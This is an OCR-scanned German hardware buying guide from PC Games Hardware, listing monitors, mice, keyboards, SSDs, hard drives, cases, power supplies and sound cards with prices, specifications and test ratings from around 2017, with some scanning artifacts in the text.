Gigabyte GA-H97-D3H Ca. € 100,- | H97/ATX x16 & x0*/x4*/x0* 2.0x2** ALC1150 | 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,87 07/2015 | www.pcgh.de/preis/1107992 


* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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Einkaufsführer LCDs & Eingabegeräte en 


WELT Т PREIS-LEISTUNGS-TIPP Hëttueg ERSPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 320,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 

Iiyama GB2488HSU-B2 Ca. € 270,- 24 Zo 144 Hertz 5 ms 12ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
Acer XF240H bmjdpr Ca. € 240,- 24 70 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 

AOC G2460PF Ca. € 260,- 24 Zo 144 Hertz 6 ms 4 ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 www.pcgh.de/preis/1318972 «Т7 
Asus VG278HV Ca. € 335,- 2770 144 Hertz 5 ms 9ms 58 bis 305 cd/m2 N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 0 ms 40 bis 390 cd/m? N-Pane - 1,83 02/2017 | www.pcgh.de/preis/1534083 

Samsung S27E591C N. verfügb. 27 Zo 75 Hertz 12 ms 2ms 40 bis 355 cd/m? MVA-Panel |- 1,92 05/2016 | www.pcgh.de/preis/1240823 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 850,- 27 Zo 165 Hertz - 2ms bis 355 cd/m? PS-Panel G-Sync 1,56 | 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 530,- 24 Zo 165 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 590,- 27 Zo 144 Hertz 8ms 9ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 ТТМ 
Benq XL2730Z Ca. € 600,- 27 Zo 144 Hertz 8ms 8 ms 52 bis 353 cd/m? N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 27 Zo 60 Hertz 5 ms 9 ms 74 bis 312 cd/m? AHVA-Panel | - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 
iyama X4071UHSU-B1 Ca. € 565,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 Härdäunre 
Asus PB287Q Ca. € 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? №-Рапе - 1,87 07/2014 www.pcgh.de/preis/1094194 «ҮІ 
Аѕиѕ РВ2790 Са. € 600,- 27 20 60 Hertz 6 тѕ 9 ms 54 bis 266 cd/m? PS-Panel - 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 500,- 27 Zo 60 Hertz 8 ms 11ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 

LG 38UC99-W Са. € 1.360,- | 3.840 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ROG PG348Q Са. € 1.100,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m2 PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 900,- 3.440x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 735,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 


Acer Predator X34 Са. € 1.156,- | 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 


Modell Preis Kabellänge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 125,- | 180 cm 16  Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Ca. € 110,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Asus ROG Gladius Il Са. Є 90,- | 200/100 cm | 6 + Scrollrad | Optisch (LED) | 12.000 Dpi | 110 Gramm Sehr gu 1,32 | 04/2017 | www.pcgh.de/preis/1 574884 NEU 
Logitech G900 Chaos Spectrum | Ca. € 115,- | Schnurlos 10 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 Gramm Sehr gu 1,33 07/2016 | www.pcgh.de/preis/1414931 

Razer Mamba 2015 Ca. € 140,- | Schnurlos 6 + Scrollrad | Optisch (LED) | 16.000 Dpi | 128 Gramm Sehr gut 1,37 04/2017 www.pcgh.de/preis/1310490 NEU 
Razer Mamba Tournament Edition | Ca. €85,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/1310517 

Roccat Kone EMP Са. Є 90,- | 180 ст 6 + Scrollrad | Optisch (LED) | 12.000 Dpi | 116 Gramm Sehr gu 1,42 | 04/2017 | www.pcgh.de/preis/1558194 NEU 
Mionix Naos 8200 Са. €75,- | 200 cm 6 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gut 1,43 12/2014 | www.pcgh.de/preis/900404 
Roccat Kone XTD Ca.€75- | 180 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gu 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 110,- | Schnurlos |8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 | 07/2013 | www.pcgh.de/preis/815637 

Mad Catz R.A.T. Tournament Ed. | Са. Є 70,- | 180 cm 9 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 91 Gramm Sehr gu 146 | 07/2014 www.pcgh.de/preis/1063444 ТҮҢ 
Corsair Scimitar Pro RGB Ca.€90- | 180 ст 16 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 147 Gramm Gut 155 04/2017 | www.pcgh.de/preis/1558629 ‚NEU 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in 

Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. - Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben - Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТҮҢ 
Sharkoon Skiller Pro+ Ca.€35,- | Voll, sieben Farben - Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 

Tt esports Challenger Prime Са. Є 30,- | Voll, drei Farben - Ja (integriert) 12 + Drehregler а/а (k. A.) 1,98 10/2016 | www.pcgh.de/preis/1183433 «ды 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/ја (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 NEU. 
Sharkoon Shark Zone MK 80 RGB | Ca. € 140,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 www.pcgh.de/preis/1369386 d 
Corsair Strafe RGB MX Silent Ca. € 165,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТҮҢ 
Tt esports Poseidon Z RGB Ca. € 100,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Corsair K70 RGB Rapid Fire Ca. € 175,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown ТТС RGB Brown а/ја (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 

G.Skill Ripjaws KM780 RGB Ca. € 130,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 

Cougar Attack X3 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Вг. | Cherry MX RGB Br. alja (k. A.) 1,57 03/2017 | www.pcgh.de/preis/1534418 
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Einkaufsführer SSDs & Festplatten 


Preise: Stand 16.02.2017 


(LIT f: PREIS-LEISTUNGS-TIPP. 


[LLL fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. € 100,- | 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1194261 
Plextor M6 Pro Са. € 160,- | 238 GiB/256 GB 513/471 MB/s 88.000 81 Sekunden | 5 Jahre 2,02 08/2015 | www.pcgh.de/preis/1150916 
Adata SX 930 Са. € 100,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Ir E Crucial MX200 Ca. € 95,- 233 GiB/250 GB 521/475 MB/s 77.000 76 Sekunden | 3 Jahre 2,08 08/2015 | www.pcgh.de/preis/1215088 
Sandisk Extreme Pro N. verfügbar | 224 GiB/240 GB 526/495 MB/s 44.000 92 Sekunden | 10 Jahre 2,08 | 07/2016 | www.pcgh.de/preis/1126455 
Kingston HyperX Sav. SSD Kit | Са. € 130,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
OCZ Vector 180 Са. € 130,- | 224 GiB/240 GB 509/489 MB/s 85.000 90 Sekunden | 5 Jahre 212 08/2015 | www.pcgh.de/preis/1230956 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Tru TE Samsung SSD 850 Evo Ca.€165,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Ca.€220,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Crucial MX200 N. verfügbar | 466 GiB/500 GB 519/475 MB/s 88.000 77 Sekunden | 3 Jahre 1,98 08/2015 | www.pcgh.de/preis/1215110 
Sandisk Extreme Pro Ca.€210,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
TT TD Mushkin Striker Са. Є 130,- | 447 GiB/480 GB 529/509 MB/s 49.000 82 Sekunden | 3 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1388029 
OCZ Vector 180 Са. € 190,- | 447 GiB/480 GB 513/483 MB/s 91.000 90 Sekunden | 5 Јаһге 2,14 08/2015 | www.pcgh.de/preis/1230954 
Sandisk Ultra Il Са. € 140,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Crucial BX100 N. verfügbar | 466 GiB/500 GB 526/435 MB/s 72.000 75 Sekunden | 3 Jahre 2,26 08/2015 | www.pcgh.de/preis/1215184 
Western Digital WD Blue SSD Са. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 online | www.pcgh.de/preis/1521437 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€470,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.400,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Samsung SSD 850 Evo Са. €310,- | 932 GiB/1.000 GB 521/503 MB/s 90.000 73 Sekunden | 5 Jahre 1,88 08/2015 | www.pcgh.de/preis/1194264 
Crucial MX200 N. verfügbar | 932 GiB/1.000 GB 516/480 MB/s 88.000 76 Sekunden | 3 Jahre 1597 08/2015 | www.pcgh.de/preis/1215111 
Mushkin Reactor Ca. € 300,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 560,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
OCZ Vector 180 Ca.€300,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2/15 08/2015 | www.pcgh.de/preis/1230950 
Corsair Neutron XT N. verfügbar | 894 GiB/960 GB 527/484 MB/s 49.000 94 Sekunden | 5 Jahre 2,14 | 07/2016 | www.pcgh.de/preis/1214437 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЕТ Toshiba OCZ RD400 Ca. € 270,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 1/2016 | www.pcgh.de/preis/1448318 
Samsung SSD 950 Pro N. verfügbar | 477 GiB/512 GB 2.212/1.475 MB/s 81.000 36 Sekunden | 5 Jahre 1,93 2/2015 | www.pcgh.de/preis/1327973 
Zotac Sonix Са. € 340,- |2.250/1.330 MB/s | 477 GiB/512 GB 95.000 56 Sekunden | 3 Jahre 2,04 1/2016 | www.pcgh.de/preis/1406123 
Samsung SSD 950 Pro Са. Є 270,- | 238 GiB/256 GB 2.098/917 MB/s 73.000 45 Sekunden | 5 Jahre 2/17 2/2015 | www.pcgh.de/preis/1327925 
Samsung SM951 N. verfügbar | 238 GiB/256 GB 1.960/1.220 MB/s 68.000 43 Sekunden | 3 Jahre 2725 2/2015 | www.pcgh.de/preis/1215594 
Kingston Hyper X Predator Са. Є 350,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 2/2015 | www.pcgh.de/preis/1247224 
IT Intel SSD 600p Ca. Є 170,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 online | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD 10р5** Коріегќеѕї Herstellergarantie ШТ PCGH-Preisvergleich 
Samsung SSD 960 Pro Ca.€650,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 2/2016 | www.pcgh.de/preis/1511187 
Samsung SSD 960 Evo Ca.€450,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 179 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Ca. € 770,- 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 08/2015 | www.pcgh.de/preis/1227662 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Bis 8.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba MGO4ACA600E Ca. € 330,- | 5.586 GiB/6.000 GB | 7.200 | 0,8/1,4 Sone 2,0/5,0 ms 66/163 MB/s 1,71 08/2015 | www.pcgh.de/preis/493352788 
Toshiba MCO4ACA500E N. verfügb. | 4.548 GiB/5.000 GB | 7.200 | 0,7/1,3 Sone 2,0/13,4 ms 66/163 MB/s 1,88 08/2015 | www.pcgh.de/preis/1145736 
Tru T Seagate Archive HDD 8TB Са. € 260,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s Quas 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba DTO1ACA300 Ca.€85, | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Tru TE Western Digital Red WD30EFRX Ca. € 110,- | 2.794 GiB/3.000 GB | K.A. 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
II ER Hitachi Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Са. € 160,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 425,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
ТШТУ Western Digital Red WD60EFRX Ca. € 250,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer Gehäuse, Netzteile & Sound 


Preise: Stand 16.02.2017 


WELT Т PREIS-LEISTUNGS-TIPP 


Hëttueg ERSPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter Go р We y Temper tn VALTICE Test in PCGH-Preisvergleich 
rangabe) 

Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 205,- | 9x 140, 2 x 120 mm 3x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 120,- | 4 x 140/120 mm, 2 x 140 mm 3x140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 «Т ТЛ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Ca. € ‚- 4x 140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1771 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 155,- | 2x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1571 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4х 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТТА 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 125,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 125,- | 4x 140/1 x 120 mm 2 x 140, 1x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 105,- | 9 x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 155,- | 5 x 140 mm oder 7 x 120 mm 3x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 80,- | 2x 140 mm, 3 x 120 mm 2x140, 1 x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 

* System: Core i7-920, Stromsparmodi aus, Radeon R9 290(X) 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 

** System: Intel Core 17-4790; Intel 287, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Themalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 

*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 

400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 140,- | 4х 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 160,- | 2 x 6+2-Pin (60 ст) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Са. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www.pcgh.de/preis/1325567 «Т ТТЛ 
EVGA G2 550W Ca. € 110,- | 2 x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90,- |2х6+2-Рїп (58 cm) 550 Wa 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 | 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold N. verfügb. | 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 | 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Seasonic Prime Titanium 650W Ca. € 190,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 150,- | 4 x 6+2-Pin (59 ст) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 130,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Corsair HX1000i Ca. € 220,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 160,- | 4 x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 140,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 

* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate EE eech GE E Besonderheiten u. a. Test in 

Creative Sound Blaster ZxR Ca. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 215,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

